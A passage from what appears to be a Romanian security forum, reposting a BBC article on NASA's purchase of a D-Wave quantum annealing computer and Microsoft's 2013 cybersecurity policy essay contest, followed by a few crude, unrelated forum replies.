matter at quantum scales. Most work on this type of computing has focused on building quantum logic gates similar to the gate devices at the basis of conventional computing. But physicists have repeatedly found that the problem with a gate-based approach is keeping the quantum bits, or qubits (the basic units of quantum information), in their quantum state. "You get drop out… decoherence, where the qubits lapse into being simple 1s and 0s instead of the entangled quantum states you need. Errors creep in," says Prof Alan Woodward of Surrey University. One gate opens... Instead, D-Wave Systems has been focused on building machines that exploit a technique called quantum annealing - a way of distilling the optimal mathematical solutions from all the possibilities. Geordie Rose believes others have taken the wrong approach to quantum computing Annealing is made possible by physics effect known as quantum tunnelling, which can endow each qubit with an awareness of every other one. "The gate model... is the single worst thing that ever happened to quantum computing", Geordie Rose, chief technology officer for D-Wave, told BBC Radio 4's Material World programme. "And when we look back 20 years from now, at the history of this field, we'll wonder why anyone ever thought that was a good idea." Dr Rose's approach entails a completely different way of posing your question, and it only works for certain questions. But according to a paper presented this week (the result of benchmarking tests required by Nasa and Google), it is very fast indeed at finding the optimal solution to a problem that potentially has many different combinations of answers. In one case it took less than half a second to do something that took conventional software 30 minutes. A classic example of one of these "combinatorial optimisation" problems is that of the travelling sales rep, who needs to visit several cities in one day, and wants to know the shortest path that connects them all together in order to minimise their mileage. The D-Wave Two chip can compare all the possible itineraries at once, rather than having to work through each in turn. Reportedly costing up to $15m, housed in a garden shed-sized box that cools the chip to near absolute zero, it should be installed at Nasa and available for research by autumn 2013. US giant Lockheed Martin earlier this year upgraded its own D-Wave machine to the 512 qubit D-Wave Two. Sursa: BBC News - Nasa buys into 'quantum' computer

Microsoft Cybersecurity Essay Contest Are you a student with great ideas on the future of cyber security policy? Have you conducted research on how to measure the security impact of policies around the world? If so, read on for how you can win $5,000 cash for your research in this essay contest. [h=2]Overview[/h] Cybersecurity is a policy priority for many governments but there is limited understanding of whether and how policy choices impact cyber risk outcomes. While many countries have made significant investments in the development and implementation of cybersecurity policy regimes, cybercriminals continue to make headway. With that in mind, policymakers are left to question the impact of their policy investments. Given this unknown, many policymakers have struggled to choose policies that will have the greatest positive outcome in managing cyber risk. At the same time, the cyber ecosystem is undergoing tremendous change. The growth in Internet users across Asia, Africa, and Latin America; the proliferation of connected devices; and the explosive rise in Internet traffic are just a few of the mega-trends reshaping the Internet. Accordingly, regardless of today’s policy challenges and solutions, tomorrow’s landscape is likely to present new risks and opportunities. [h=2]What is the contest?[/h] Microsoft is looking for original research about these cybersecurity policy challenges from university students at any stage in their educational development. Specifically, research should address one or both of the following questions; in both instances, preference will be given to responses that integrate quantitative analysis using publically-available cybersecurity data and research, such as the Microsoft Security Intelligence Report (SIR): Which cybersecurity policy choices have the most impact on cybersecurity outcomes and, based upon your answer, are there “actionable” recommendations for policymakers? For example, have national-level regimes for securing government networks had a meaningful impact on cybersecurity? How might those regimes be improved? Additionally, for example, can cybersecurity policies impact user-level security? And if so, how? [*] Given the growth in people, devices, and data connected to the Internet, how should policymakers adapt current approaches, and are there elements missing from the current policy landscape that should be created, or existing instruments that should be deprecated? For example, many global-level cybersecurity policy regimes were created when most Internet users were based on North America and Europe; will the rise in Internet users in Asia, Africa, and Latin America require changes to these regimes? Additionally, for example, cybersecurity policies have been optimized for a desktop-centric world, where the computing machine, their operating systems, and often their users were fixed within a geography. What changes are necessary to accommodate a more mobile-based world? [h=2]What prizes are offered?[/h] Microsoft will award cash prizes for the top three essays according to the judging criteria: 1st place - $5,000 2nd place - $3,000 3rd place - $2,000 [h=2]Where can I get more details?[/h] For more information, please see the Official Rules. Also, visit the Microsoft Global Security Strategy and Diplomacy website to learn how this team works collaboratively with governments, multilateral organizations, industry, and non-profit groups to enhance security across the cyberecosystem. [h=2]How do I enter?[/h] To enter, send an email to cyber-essay@microsoft.com with your essay in Microsoft Word format and include the following information: first name, last name, email address, and school / university. Entries must be received by 11:59 p.m. Pacific Time (PT) on June 14, 2013. Sursa: Cybersecurity | Microsoft Global Security Strategy and Diplomacy

Da, mai facuse tipa inca un astfel de pack.

Vreau si eu sa il vad

Alt topic cu certuri de cacat? Muie _|_

No, sa ma fut pe ei de copii prosti. Am fost plecat, am fost si eu beat ca tot romanu de sarbatori, nu stau sa banez IP-uri.